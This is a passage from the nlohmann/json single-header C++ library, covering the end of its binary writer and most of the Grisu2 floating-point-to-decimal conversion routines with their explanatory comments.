{\n            return x;\n        }\n\n    private:\n        /// whether we can assume little endianness\n        const bool is_little_endian = little_endianness();\n\n        /// the output\n        output_adapter_t<CharType> oa = nullptr;\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/output/output_adapters.hpp>\n\n// #include <nlohmann/detail/output/serializer.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2008-2009 Bjrn Hoehrmann <bjoern@hoehrmann.de>\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <algorithm> // reverse, remove, fill, find, none_of\n#include <array> // array\n#include <clocale> // localeconv, lconv\n#include <cmath> // labs, isfinite, isnan, signbit\n#include <cstddef> // size_t, ptrdiff_t\n#include <cstdint> // uint8_t\n#include <cstdio> // snprintf\n#include <limits> // numeric_limits\n#include <string> // string, char_traits\n#include <iomanip> // setfill, setw\n#include <type_traits> // is_same\n#include <utility> // move\n\n// #include <nlohmann/detail/conversions/to_chars.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2009 Florian Loitsch <https://florian.loitsch.com/>\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <array> // array\n#include <cmath>   // signbit, isfinite\n#include <cstdint> // intN_t, uintN_t\n#include <cstring> // memcpy, memmove\n#include <limits> // numeric_limits\n#include <type_traits> // conditional\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    /*!\n    @brief implements the Grisu2 algorithm for binary to decimal floating-point\n    conversion.\n\n    This implementation is a slightly modified version of the reference\n    implementation which may be obtained from\n    http://florian.loitsch.com/publications (bench.tar.gz).\n\n    The code is distributed under the MIT license, Copyright (c) 2009 Florian Loitsch.\n\n    For a detailed description of the algorithm see:\n\n    [1] Loitsch, \"Printing Floating-Point Numbers Quickly and Accurately with\n        Integers\", Proceedings of the ACM SIGPLAN 2010 Conference on Programming\n        Language Design and Implementation, PLDI 2010\n    [2] Burger, Dybvig, \"Printing Floating-Point Numbers Quickly and Accurately\",\n        Proceedings of the ACM SIGPLAN 1996 Conference on Programming Language\n        Design and Implementation, PLDI 1996\n    */\n    namespace dtoa_impl\n    {\n\n        template<typename Target, typename Source>\n        Target reinterpret_bits(const Source source)\n        {\n            static_assert(sizeof(Target) == sizeof(Source), \"size mismatch\");\n\n            Target target;\n            std::memcpy(&target, &source, sizeof(Source));\n            return target;\n        }\n\n        struct diyfp // f * 2^e\n        {\n            static constexpr int kPrecision = 64; // = q\n\n            std::uint64_t f = 0;\n            int e = 0;\n\n            constexpr diyfp(std::uint64_t f_, int e_) noexcept : f(f_), e(e_) {}\n\n            /*!\n            @brief returns x - y\n            @pre x.e == y.e and x.f >= y.f\n            */\n            static diyfp sub(const diyfp& x, const diyfp& y) noexcept\n            {\n                JSON_ASSERT(x.e == y.e);\n                JSON_ASSERT(x.f >= y.f);\n\n                return { x.f - y.f, x.e };\n            }\n\n            /*!\n            @brief returns x * y\n            @note The result is rounded. (Only the upper q bits are returned.)\n            */\n            static diyfp mul(const diyfp& x, const diyfp& y) noexcept\n            {\n                static_assert(kPrecision == 64, \"internal error\");\n\n                // Computes:\n                //  f = round((x.f * y.f) / 2^q)\n                //  e = x.e + y.e + q\n\n                // Emulate the 64-bit * 64-bit multiplication:\n                //\n                // p = u * v\n                //   = (u_lo + 2^32 u_hi) (v_lo + 2^32 v_hi)\n                //   = (u_lo v_lo         ) + 2^32 ((u_lo v_hi         ) + (u_hi v_lo         )) + 2^64 (u_hi v_hi         )\n                //   = (p0                ) + 2^32 ((p1                ) + (p2                )) + 2^64 (p3                )\n                //   = (p0_lo + 2^32 p0_hi) + 2^32 ((p1_lo + 2^32 p1_hi) + (p2_lo + 2^32 p2_hi)) + 2^64 (p3                )\n                //   = (p0_lo             ) + 2^32 (p0_hi + p1_lo + p2_lo                      ) + 2^64 (p1_hi + p2_hi + p3)\n                //   = (p0_lo             ) + 2^32 (Q                                          ) + 2^64 (H                 )\n                //   = (p0_lo             ) + 2^32 (Q_lo + 2^32 Q_hi                           ) + 2^64 (H                 )\n                //\n                // (Since Q might be larger than 2^32 - 1)\n                //\n                //   = (p0_lo + 2^32 Q_lo) + 2^64 (Q_hi + H)\n                //\n                // (Q_hi + H does not overflow a 64-bit int)\n                //\n                //   = p_lo + 2^64 p_hi\n\n                const std::uint64_t u_lo = x.f & 0xFFFFFFFFu;\n                const std::uint64_t u_hi = x.f >> 32u;\n                const std::uint64_t v_lo = y.f & 0xFFFFFFFFu;\n                const std::uint64_t v_hi = y.f >> 32u;\n\n                const std::uint64_t p0 = u_lo * v_lo;\n                const std::uint64_t p1 = u_lo * v_hi;\n                const std::uint64_t p2 = u_hi * v_lo;\n                const std::uint64_t p3 = u_hi * v_hi;\n\n                const std::uint64_t p0_hi = p0 >> 32u;\n                const std::uint64_t p1_lo = p1 & 0xFFFFFFFFu;\n                const std::uint64_t p1_hi = p1 >> 32u;\n                const std::uint64_t p2_lo = p2 & 0xFFFFFFFFu;\n                const std::uint64_t p2_hi = p2 >> 32u;\n\n                std::uint64_t Q = p0_hi + p1_lo + p2_lo;\n\n                // The full product might now be computed as\n                //\n                // p_hi = p3 + p2_hi + p1_hi + (Q >> 32)\n                // p_lo = p0_lo + (Q << 32)\n                //\n                // But in this particular case here, the full p_lo is not required.\n                // Effectively we only need to add the highest bit in p_lo to p_hi (and\n                // Q_hi + 1 does not overflow).\n\n                Q += std::uint64_t{ 1 } << (64u - 32u - 1u); // round, ties up\n\n                const std::uint64_t h = p3 + p2_hi + p1_hi + (Q >> 32u);\n\n                return { h, x.e + y.e + 64 };\n            }\n\n            /*!\n            @brief normalize x such that the significand is >= 2^(q-1)\n            @pre x.f != 0\n            */\n            static diyfp normalize(diyfp x) noexcept\n            {\n                JSON_ASSERT(x.f != 0);\n\n                while ((x.f >> 63u) == 0)\n                {\n                    x.f <<= 1u;\n                    x.e--;\n                }\n\n                return x;\n            }\n\n            /*!\n            @brief normalize x such that the result has the exponent E\n            @pre e >= x.e and the upper e - x.e bits of x.f must be zero.\n            */\n            static diyfp normalize_to(const diyfp& x, const int target_exponent) noexcept\n            {\n                const int delta = x.e - target_exponent;\n\n                JSON_ASSERT(delta >= 0);\n                JSON_ASSERT(((x.f << delta) >> delta) == x.f);\n\n                return { x.f << delta, target_exponent };\n            }\n        };\n\n        struct boundaries\n        {\n            diyfp w;\n            diyfp minus;\n            diyfp plus;\n        };\n\n        /*!\n        Compute the (normalized) diyfp representing the input number 'value' and its\n        boundaries.\n\n        @pre value must be finite and positive\n        */\n        template<typename FloatType>\n        boundaries compute_boundaries(FloatType value)\n        {\n            JSON_ASSERT(std::isfinite(value));\n            JSON_ASSERT(value > 0);\n\n            // Convert the IEEE representation into a diyfp.\n            //\n            // If v is denormal:\n            //      value = 0.F * 2^(1 - bias) = (          F) * 2^(1 - bias - (p-1))\n            // If v is normalized:\n            //      value = 1.F * 2^(E - bias) = (2^(p-1) + F) * 2^(E - bias - (p-1))\n\n            static_assert(std::numeric_limits<FloatType>::is_iec559,\n                \"internal error: dtoa_short requires an IEEE-754 floating-point implementation\");\n\n            constexpr int      kPrecision = std::numeric_limits<FloatType>::digits; // = p (includes the hidden bit)\n            constexpr int      kBias = std::numeric_limits<FloatType>::max_exponent - 1 + (kPrecision - 1);\n            constexpr int      kMinExp = 1 - kBias;\n            constexpr std::uint64_t kHiddenBit = std::uint64_t{ 1 } << (kPrecision - 1); // = 2^(p-1)\n\n            using bits_type = typename std::conditional<kPrecision == 24, std::uint32_t, std::uint64_t >::type;\n\n            const auto bits = static_cast<std::uint64_t>(reinterpret_bits<bits_type>(value));\n            const std::uint64_t E = bits >> (kPrecision - 1);\n            const std::uint64_t F = bits & (kHiddenBit - 1);\n\n            const bool is_denormal = E == 0;\n            const diyfp v = is_denormal\n                ? diyfp(F, kMinExp)\n                : diyfp(F + kHiddenBit, static_cast<int>(E) - kBias);\n\n            // Compute the boundaries m- and m+ of the floating-point value\n            // v = f * 2^e.\n            //\n            // Determine v- and v+, the floating-point predecessor and successor if v,\n            // respectively.\n            //\n            //      v- = v - 2^e        if f != 2^(p-1) or e == e_min                (A)\n            //         = v - 2^(e-1)    if f == 2^(p-1) and e > e_min                (B)\n            //\n            //      v+ = v + 2^e\n            //\n            // Let m- = (v- + v) / 2 and m+ = (v + v+) / 2. All real numbers _strictly_\n            // between m- and m+ round to v, regardless of how the input rounding\n            // algorithm breaks ties.\n            //\n            //      ---+-------------+-------------+-------------+-------------+---  (A)\n            //         v-            m-            v             m+            v+\n            //\n            //      -----------------+------+------+-------------+-------------+---  (B)\n            //                       v-     m-     v             m+            v+\n\n            const bool lower_boundary_is_closer = F == 0 && E > 1;\n            const diyfp m_plus = diyfp(2 * v.f + 1, v.e - 1);\n            const diyfp m_minus = lower_boundary_is_closer\n                ? diyfp(4 * v.f - 1, v.e - 2)  // (B)\n                : diyfp(2 * v.f - 1, v.e - 1); // (A)\n\n            // Determine the normalized w+ = m+.\n            const diyfp w_plus = diyfp::normalize(m_plus);\n\n            // Determine w- = m- such that e_(w-) = e_(w+).\n            const diyfp w_minus = diyfp::normalize_to(m_minus, w_plus.e);\n\n            return { diyfp::normalize(v), w_minus, w_plus };\n        }\n\n        // Given normalized diyfp w, Grisu needs to find a (normalized) cached\n        // power-of-ten c, such that the exponent of the product c * w = f * 2^e lies\n        // within a certain range [alpha, gamma] (Definition 3.2 from [1])\n        //\n        //      alpha <= e = e_c + e_w + q <= gamma\n        //\n        // or\n        //\n        //      f_c * f_w * 2^alpha <= f_c 2^(e_c) * f_w 2^(e_w) * 2^q\n        //                          <= f_c * f_w * 2^gamma\n        //\n        // Since c and w are normalized, i.e. 2^(q-1) <= f < 2^q, this implies\n        //\n        //      2^(q-1) * 2^(q-1) * 2^alpha <= c * w * 2^q < 2^q * 2^q * 2^gamma\n        //\n        // or\n        //\n        //      2^(q - 2 + alpha) <= c * w < 2^(q + gamma)\n        //\n        // The choice of (alpha,gamma) determines the size of the table and the form of\n        // the digit generation procedure. Using (alpha,gamma)=(-60,-32) works out well\n        // in practice:\n        //\n        // The idea is to cut the number c * w = f * 2^e into two parts, which can be\n        // processed independently: An integral part p1, and a fractional part p2:\n        //\n        //      f * 2^e = ( (f div 2^-e) * 2^-e + (f mod 2^-e) ) * 2^e\n        //              = (f div 2^-e) + (f mod 2^-e) * 2^e\n        //              = p1 + p2 * 2^e\n        //\n        // The conversion of p1 into decimal form requires a series of divisions and\n        // modulos by (a power of) 10. These operations are faster for 32-bit than for\n        // 64-bit integers, so p1 should ideally fit into a 32-bit integer. This can be\n        // achieved by choosing\n        //\n        //      -e >= 32   or   e <= -32 := gamma\n        //\n        // In order to convert the fractional part\n        //\n        //      p2 * 2^e = p2 / 2^-e = d[-1] / 10^1 + d[-2] / 10^2 + ...\n        //\n        // into decimal form, the fraction is repeatedly multiplied by 10 and the digits\n        // d[-i] are extracted in order:\n        //\n        //      (10 * p2) div 2^-e = d[-1]\n        //      (10 * p2) mod 2^-e = d[-2] / 10^1 + ...\n        //\n        // The multiplication by 10 must not overflow. It is sufficient to choose\n        //\n        //      10 * p2 < 16 * p2 = 2^4 * p2 <= 2^64.\n        //\n        // Since p2 = f mod 2^-e < 2^-e,\n        //\n        //      -e <= 60   or   e >= -60 := alpha\n\n        constexpr int kAlpha = -60;\n        constexpr int kGamma = -32;\n\n        struct cached_power // c = f * 2^e ~= 10^k\n        {\n            std::uint64_t f;\n            int e;\n            int k;\n        };\n\n        /*!\n        For a normalized diyfp w = f * 2^e, this function returns a (normalized) cached\n        power-of-ten c = f_c * 2^e_c, such that the exponent of the product w * c\n        satisfies (Definition 3.2 from [1])\n\n             alpha <= e_c + e + q <= gamma.\n        */\n        inline cached_power get_cached_power_for_binary_exponent(int e)\n        {\n            // Now\n            //\n            //      alpha <= e_c + e + q <= gamma                                    (1)\n            //      ==> f_c * 2^alpha <= c * 2^e * 2^q\n            //\n            // and since the c's are normalized, 2^(q-1) <= f_c,\n            //\n            //      ==> 2^(q - 1 + alpha) <= c * 2^(e + q)\n            //      ==> 2^(alpha - e - 1) <= c\n            //\n            // If c were an exact power of ten, i.e. c = 10^k, one may determine k as\n            //\n            //      k = ceil( log_10( 2^(alpha - e - 1) ) )\n            //        = ceil( (alpha - e - 1) * log_10(2) )\n            //\n            // From the paper:\n            // \"In theory the result of the procedure could be wrong since c is rounded,\n            //  and the computation itself is approximated [...]. In practice, however,\n            //  this simple function is sufficient.\"\n            //\n            // For IEEE double precision floating-point numbers converted into\n            // normalized diyfp's w = f * 2^e, with q = 64,\n            //\n            //      e >= -1022      (min IEEE exponent)\n            //           -52        (p - 1)\n            //           -52        (p - 1, possibly normalize denormal IEEE numbers)\n            //           -11        (normalize the diyfp)\n            //         = -1137\n            //\n            // and\n            //\n            //      e <= +1023      (max IEEE exponent)\n            //           -52        (p - 1)\n            //           -11        (normalize the diyfp)\n            //         = 960\n            //\n            // This binary exponent range [-1137,960] results in a decimal exponent\n            // range [-307,324]. One does not need to store a cached power for each\n            // k in this range. For each such k it suffices to find a cached power\n            // such that the exponent of the product lies in [alpha,gamma].\n            // This implies that the difference of the decimal exponents of adjacent\n            // table entries must be less than or equal to\n            //\n            //      floor( (gamma - alpha) * log_10(2) ) = 8.\n            //\n            // (A smaller distance gamma-alpha would require a larger table.)\n\n            // NB:\n            // Actually this function returns c, such that -60 <= e_c + e + 64 <= -34.\n\n            constexpr int kCachedPowersMinDecExp = -300;\n            constexpr int kCachedPowersDecStep = 8;\n\n            static constexpr std::array<cached_power, 79> kCachedPowers =\n            {\n                {\n                    { 0xAB70FE17C79AC6CA, -1060, -300 },\n                    { 0xFF77B1FCBEBCDC4F, -1034, -292 },\n                    { 0xBE5691EF416BD60C, -1007, -284 },\n                    { 0x8DD01FAD907FFC3C,  -980, -276 },\n                    { 0xD3515C2831559A83,  -954, -268 },\n                    { 0x9D71AC8FADA6C9B5,  -927, -260 },\n                    { 0xEA9C227723EE8BCB,  -901, -252 },\n                    { 0xAECC49914078536D,  -874, -244 },\n                    { 0x823C12795DB6CE57,  -847, -236 },\n                    { 0xC21094364DFB5637,  -821, -228 },\n                    { 0x9096EA6F3848984F,  -794, -220 },\n                    { 0xD77485CB25823AC7,  -768, -212 },\n                    { 0xA086CFCD97BF97F4,  -741, -204 },\n                    { 0xEF340A98172AACE5,  -715, -196 },\n                    { 0xB23867FB2A35B28E,  -688, -188 },\n                    { 0x84C8D4DFD2C63F3B,  -661, -180 },\n                    { 0xC5DD44271AD3CDBA,  -635, -172 },\n                    { 0x936B9FCEBB25C996,  -608, -164 },\n                    { 0xDBAC6C247D62A584,  -582, -156 },\n                    { 0xA3AB66580D5FDAF6,  -555, -148 },\n                    { 0xF3E2F893DEC3F126,  -529, -140 },\n                    { 0xB5B5ADA8AAFF80B8,  -502, -132 },\n                    { 0x87625F056C7C4A8B,  -475, -124 },\n                    { 0xC9BCFF6034C13053,  -449, -116 },\n                    { 0x964E858C91BA2655,  -422, -108 },\n                    { 0xDFF9772470297EBD,  -396, -100 },\n                    { 0xA6DFBD9FB8E5B88F,  -369,  -92 },\n                    { 0xF8A95FCF88747D94,  -343,  -84 },\n                    { 0xB94470938FA89BCF,  -316,  -76 },\n                    { 0x8A08F0F8BF0F156B,  -289,  -68 },\n                    { 0xCDB02555653131B6,  -263,  -60 },\n                    { 0x993FE2C6D07B7FAC,  -236,  -52 },\n                    { 0xE45C10C42A2B3B06,  -210,  -44 },\n                    { 0xAA242499697392D3,  -183,  -36 },\n                    { 0xFD87B5F28300CA0E,  -157,  -28 },\n                    { 0xBCE5086492111AEB,  -130,  -20 },\n                    { 0x8CBCCC096F5088CC,  -103,  -12 },\n                    { 0xD1B71758E219652C,   -77,   -4 },\n                    { 0x9C40000000000000,   -50,    4 },\n                    { 0xE8D4A51000000000,   -24,   12 },\n                    { 0xAD78EBC5AC620000,     3,   20 },\n                    { 0x813F3978F8940984,    30,   28 },\n                    { 0xC097CE7BC90715B3,    56,   36 },\n                    { 0x8F7E32CE7BEA5C70,    83,   44 },\n                    { 0xD5D238A4ABE98068,   109,   52 },\n                    { 0x9F4F2726179A2245,   136,   60 },\n                    { 0xED63A231D4C4FB27,   162,   68 },\n                    { 0xB0DE65388CC8ADA8,   189,   76 },\n                    { 0x83C7088E1AAB65DB,   216,   84 },\n                    { 0xC45D1DF942711D9A,   242,   92 },\n                    { 0x924D692CA61BE758,   269,  100 },\n                    { 0xDA01EE641A708DEA,   295,  108 },\n                    { 0xA26DA3999AEF774A,   322,  116 },\n                    { 0xF209787BB47D6B85,   348,  124 },\n                    { 0xB454E4A179DD1877,   375,  132 },\n                    { 0x865B86925B9BC5C2,   402,  140 },\n                    { 0xC83553C5C8965D3D,   428,  148 },\n                    { 0x952AB45CFA97A0B3,   455,  156 },\n                    { 0xDE469FBD99A05FE3,   481,  164 },\n                    { 0xA59BC234DB398C25,   508,  172 },\n                    { 0xF6C69A72A3989F5C,   534,  180 },\n                    { 0xB7DCBF5354E9BECE,   561,  188 },\n                    { 0x88FCF317F22241E2,   588,  196 },\n                    { 0xCC20CE9BD35C78A5,   614,  204 },\n                    { 0x98165AF37B2153DF,   641,  212 },\n                    { 0xE2A0B5DC971F303A,   667,  220 },\n                    { 0xA8D9D1535CE3B396,   694,  228 },\n                    { 0xFB9B7CD9A4A7443C,   720,  236 },\n                    { 0xBB764C4CA7A44410,   747,  244 },\n                    { 0x8BAB8EEFB6409C1A,   774,  252 },\n                    { 0xD01FEF10A657842C,   800,  260 },\n                    { 0x9B10A4E5E9913129,   827,  268 },\n                    { 0xE7109BFBA19C0C9D,   853,  276 },\n                    { 0xAC2820D9623BF429,   880,  284 },\n                    { 0x80444B5E7AA7CF85,   907,  292 },\n                    { 0xBF21E44003ACDD2D,   933,  300 },\n                    { 0x8E679C2F5E44FF8F,   960,  308 },\n                    { 0xD433179D9C8CB841,   986,  316 },\n                    { 0x9E19DB92B4E31BA9,  1013,  324 },\n                }\n            };\n\n            // This computation gives exactly the same results for k as\n            //      k = ceil((kAlpha - e - 1) * 0.30102999566398114)\n            // for |e| <= 1500, but doesn't require floating-point operations.\n            // NB: log_10(2) ~= 78913 / 2^18\n            JSON_ASSERT(e >= -1500);\n            JSON_ASSERT(e <= 1500);\n            const int f = kAlpha - e - 1;\n            const int k = (f * 78913) / (1 << 18) + static_cast<int>(f > 0);\n\n            const int index = (-kCachedPowersMinDecExp + k + (kCachedPowersDecStep - 1)) / kCachedPowersDecStep;\n            JSON_ASSERT(index >= 0);\n            JSON_ASSERT(static_cast<std::size_t>(index) < kCachedPowers.size());\n\n            const cached_power cached = kCachedPowers[static_cast<std::size_t>(index)];\n            JSON_ASSERT(kAlpha <= cached.e + e + 64);\n            JSON_ASSERT(kGamma >= cached.e + e + 64);\n\n            return cached;\n        }\n\n        /*!\n        For n != 0, returns k, such that pow10 := 10^(k-1) <= n < 10^k.\n        For n == 0, returns 1 and sets pow10 := 1.\n        */\n        inline int find_largest_pow10(const std::uint32_t n, std::uint32_t& pow10)\n        {\n            // LCOV_EXCL_START\n            if (n >= 1000000000)\n            {\n                pow10 = 1000000000;\n                return 10;\n            }\n            // LCOV_EXCL_STOP\n            if (n >= 100000000)\n            {\n                pow10 = 100000000;\n                return  9;\n            }\n            if (n >= 10000000)\n            {\n                pow10 = 10000000;\n                return  8;\n            }\n            if (n >= 1000000)\n            {\n                pow10 = 1000000;\n                return  7;\n            }\n            if (n >= 100000)\n            {\n                pow10 = 100000;\n                return  6;\n            }\n            if (n >= 10000)\n            {\n                pow10 = 10000;\n                return  5;\n            }\n            if (n >= 1000)\n            {\n                pow10 = 1000;\n                return  4;\n            }\n            if (n >= 100)\n            {\n                pow10 = 100;\n                return  3;\n            }\n            if (n >= 10)\n            {\n                pow10 = 10;\n                return  2;\n            }\n\n            pow10 = 1;\n            return 1;\n        }\n\n        inline void grisu2_round(char* buf, int len, std::uint64_t dist, std::uint64_t delta,\n            std::uint64_t rest, std::uint64_t ten_k)\n        {\n            JSON_ASSERT(len >= 1);\n            JSON_ASSERT(dist <= delta);\n            JSON_ASSERT(rest <= delta);\n            JSON_ASSERT(ten_k > 0);\n\n            //               <--------------------------- delta ---->\n            //                                  <---- dist --------->\n            // --------------[------------------+-------------------]--------------\n            //               M-                 w                   M+\n            //\n            //                                  ten_k\n            //                                <------>\n            //                                       <---- rest ---->\n            // --------------[------------------+----+--------------]--------------\n            //                                  w    V\n            //                                       = buf * 10^k\n            //\n            // ten_k represents a unit-in-the-last-place in the decimal representation\n            // stored in buf.\n            // Decrement buf by ten_k while this takes buf closer to w.\n\n            // The tests are written in this order to avoid overflow in unsigned\n            // integer arithmetic.\n\n            while (rest < dist\n                && delta - rest >= ten_k\n                && (rest + ten_k < dist || dist - rest > rest + ten_k - dist))\n            {\n                JSON_ASSERT(buf[len - 1] != '0');\n                buf[len - 1]--;\n                rest += ten_k;\n            }\n        }\n\n        /*!\n        Generates V = buffer * 10^decimal_exponent, such that M- <= V <= M+.\n        M- and M+ must be normalized and share the same exponent -60 <= e <= -32.\n        */\n        inline void grisu2_digit_gen(char* buffer, int& length, int& decimal_exponent,\n            diyfp M_minus, diyfp w, diyfp M_plus)\n        {\n            static_assert(kAlpha >= -60, \"internal error\");\n            static_assert(kGamma <= -32, \"internal error\");\n\n            // Generates the digits (and the exponent) of a decimal floating-point\n            // number V = buffer * 10^decimal_exponent in the range [M-, M+]. The diyfp's\n            // w, M- and M+ share the same exponent e, which satisfies alpha <= e <= gamma.\n            //\n            //               <--------------------------- delta ---->\n            //                                  <---- dist --------->\n            // --------------[------------------+-------------------]--------------\n            //               M-                 w                   M+\n            //\n            // Grisu2 generates the digits of M+ from left to right and stops as soon as\n            // V is in [M-,M+].\n\n            JSON_ASSERT(M_plus.e >= kAlpha);\n            JSON_ASSERT(M_plus.e <= kGamma);\n\n            std::uint64_t delta = diyfp::sub(M_plus, M_minus).f; // (significand of (M+ - M-), implicit exponent is e)\n            std::uint64_t dist = diyfp::sub(M_plus, w).f; // (significand of (M+ - w ), implicit exponent is e)\n\n            // Split M+ = f * 2^e into two parts p1 and p2 (note: e < 0):\n            //\n            //      M+ = f * 2^e\n            //         = ((f div 2^-e) * 2^-e + (f mod 2^-e)) * 2^e\n            //         = ((p1        ) * 2^-e + (p2        )) * 2^e\n            //         = p1 + p2 * 2^e\n\n            const diyfp one(std::uint64_t{ 1 } << -M_plus.e, M_plus.e);\n\n            auto p1 = static_cast<std::uint32_t>(M_plus.f >> -one.e); // p1 = f div 2^-e (Since -e >= 32, p1 fits into a 32-bit int.)\n            std::uint64_t p2 = M_plus.f & (one.f - 1);                    // p2 = f mod 2^-e\n\n            // 1)\n            //\n            // Generate the digits of the integral part p1 = d[n-1]...d[1]d[0]\n\n            JSON_ASSERT(p1 > 0);\n\n            std::uint32_t pow10{};\n            const int k = find_largest_pow10(p1, pow10);\n\n            //      10^(k-1) <= p1 < 10^k, pow10 = 10^(k-1)\n            //\n            //      p1 = (p1 div 10^(k-1)) * 10^(k-1) + (p1 mod 10^(k-1))\n            //         = (d[k-1]         ) * 10^(k-1) + (p1 mod 10^(k-1))\n            //\n            //      M+ = p1                                             + p2 * 2^e\n            //         = d[k-1] * 10^(k-1) + (p1 mod 10^(k-1))          + p2 * 2^e\n            //         = d[k-1] * 10^(k-1) + ((p1 mod 10^(k-1)) * 2^-e + p2) * 2^e\n            //         = d[k-1] * 10^(k-1) + (                         rest) * 2^e\n            //\n            // Now generate the digits d[n] of p1 from left to right (n = k-1,...,0)\n            //\n            //      p1 = d[k-1]...d[n] * 10^n + d[n-1]...d[0]\n            //\n            // but stop as soon as\n            //\n            //      rest * 2^e = (d[n-1]...d[0] * 2^-e + p2) * 2^e <= delta * 2^e\n\n            int n = k;\n            while (n > 0)\n            {\n                // Invariants:\n                //      M+ = buffer * 10^n + (p1 + p2 * 2^e)    (buffer = 0 for n = k)\n                //      pow10 = 10^(n-1) <= p1 < 10^n\n                //\n                const std::uint32_t d = p1 / pow10;  // d = p1 div 10^(n-1)\n                const std::uint32_t r = p1 % pow10;  // r = p1 mod 10^(n-1)\n                //\n                //      M+ = buffer * 10^n + (d * 10^(n-1) + r) + p2 * 2^e\n                //         = (buffer * 10 + d) * 10^(n-1) + (r + p2 * 2^e)\n                //\n                JSON_ASSERT(d <= 9);\n                buffer[length++] = static_cast<char>('0' + d); // buffer := buffer * 10 + d\n                //\n                //      M+ = buffer * 10^(n-1) + (r + p2 * 2^e)\n                //\n                p1 = r;\n                n--;\n                //\n                //      M+ = buffer * 10^n + (p1 + p2 * 2^e)\n                //      pow10 = 10^n\n                //\n\n                // Now check if enough digits have been generated.\n                // Compute\n                //\n                //      p1 + p2 * 2^e = (p1 * 2^-e + p2) * 2^e = rest * 2^e\n                //\n                // Note:\n                // Since rest and delta share the same exponent e, it suffices to\n                // compare the significands.\n                const std::uint64_t rest = (std::uint64_t{ p1 } << -one.e) + p2;\n                if (rest <= delta)\n                {\n                    // V = buffer * 10^n, with M- <= V <= M+.\n\n                    decimal_exponent += n;\n\n                    // We may now just stop. But instead look if the buffer could be\n                    // decremented to bring V closer to w.\n                    //\n                    // pow10 = 10^n is now 1 ulp in the decimal representation V.\n                    // The rounding procedure works with diyfp's with an implicit\n                    // exponent of e.\n                    //\n                    //      10^n = (10^n * 2^-e) * 2^e = ulp * 2^e\n                    //\n                    const std::uint64_t ten_n = std::uint64_t{ pow10 } << -one.e;\n                    grisu2_round(buffer, length, dist, delta, rest, ten_n);\n\n                    return;\n                }\n\n                pow10 /= 10;\n                //\n                //      pow10 = 10^(n-1) <= p1 < 10^n\n                // Invariants restored.\n            }\n\n            // 2)\n            //\n            // The digits of the integral part have been generated:\n            //\n            //      M+ = d[k-1]...d[1]d[0] + p2 * 2^e\n            //         = buffer            + p2 * 2^e\n            //\n            // Now generate the digits of the fractional part p2 * 2^e.\n            //\n            // Note:\n            // No decimal point is generated: the exponent is adjusted instead.\n            //\n            // p2 actually represents the fraction\n            //\n            //      p2 * 2^e\n            //          = p2 / 2^-e\n            //          = d[-1] / 10^1 + d[-2] / 10^2 + ...\n            //\n            // Now generate the digits d[-m] of p1 from left to right (m = 1,2,...)\n            //\n            //      p2 * 2^e = d[-1]d[-2]...d[-m] * 10^-m\n            //                      + 10^-m * (d[-m-1] / 10^1 + d[-m-2] / 10^2 + ...)\n            //\n            // using\n            //\n            //      10^m * p2 = ((10^m * p2) div 2^-e) * 2^-e + ((10^m * p2) mod 2^-e)\n            //                = (                   d) * 2^-e + (                   r)\n            //\n            // or\n            //      10^m * p2 * 2^e = d + r * 2^e\n            //\n            // i.e.\n            //\n            //      M+ = buffer + p2 * 2^e\n            //         = buffer + 10^-m * (d + r * 2^e)\n            //         = (buffer * 10^m + d) * 10^-m + 10^-m * r * 2^e\n            //\n            // and stop as soon as 10^-m * r * 2^e <= delta * 2^e\n\n            JSON_ASSERT(p2 > delta);\n\n            int m = 0;\n            for (;;)\n            {\n                // Invariant:\n                //      M+ = buffer * 10^-m + 10^-m * (d[-m-1] / 10 + d[-m-2] / 10^2 + ...) * 2^e\n                //         = buffer * 10^-m + 10^-m * (p2                                 ) * 2^e\n                //         = buffer * 10^-m + 10^-m * (1/10 * (10 * p2)                   ) * 2^e\n                //         = buffer * 10^-m + 10^-m * (1/10 * ((10*p2 div 2^-e) * 2^-e + (10*p2 mod 2^-e)) * 2^e\n                //\n                JSON_ASSERT(p2 <= (std::numeric_limits<std::uint64_t>::max)() / 10);\n                p2 *= 10;\n                const std::uint64_t d = p2 >> -one.e;     // d = (10 * p2) div 2^-e\n                const std::uint64_t r = p2 & (one.f - 1); // r = (10 * p2) mod 2^-e\n                //\n                //      M+ = buffer * 10^-m + 10^-m * (1/10 * (d * 2^-e + r) * 2^e\n                //         = buffer * 10^-m + 10^-m * (1/10 * (d + r * 2^e))\n                //         = (buffer * 10 + d) * 10^(-m-1) + 10^(-m-1) * r * 2^e\n                //\n                JSON_ASSERT(d <= 9);\n                buffer[length++] = static_cast<char>('0' + d); // buffer := buffer * 10 + d\n                //\n                //      M+ = buffer * 10^(-m-1) + 10^(-m-1) * r * 2^e\n                //\n                p2 = r;\n                m++;\n                //\n                //      M+ = buffer * 10^-m + 10^-m * p2 * 2^e\n                // Invariant restored.\n\n                // Check if enough digits have been generated.\n                //\n                //      10^-m * p2 * 2^e <= delta * 2^e\n                //              p2 * 2^e <= 10^m * delta * 2^e\n                //                    p2 <= 10^m * delta\n                delta *= 10;\n                dist *= 10;\n                if (p2 <= delta)\n                {\n                    break;\n                }\n            }\n\n            // V = buffer * 10^-m, with M- <= V <= M+.\n\n            decimal_exponent -= m;\n\n            // 1 ulp in the decimal representation is now 10^-m.\n            // Since delta and dist are now scaled by 10^m, we need to do the\n            // same with ulp in order to keep the units in sync.\n            //\n            //      10^m * 10^-m = 1 = 2^-e * 2^e = ten_m * 2^e\n            //\n            const std::uint64_t ten_m = one.f;\n            grisu2_round(buffer, length, dist, delta, p2, ten_m);\n\n            // By construction this algorithm generates the shortest possible decimal\n            // number (Loitsch, Theorem 6.2) which rounds back to w.\n            // For an input number of precision p, at least\n            //\n            //      N = 1 + ceil(p * 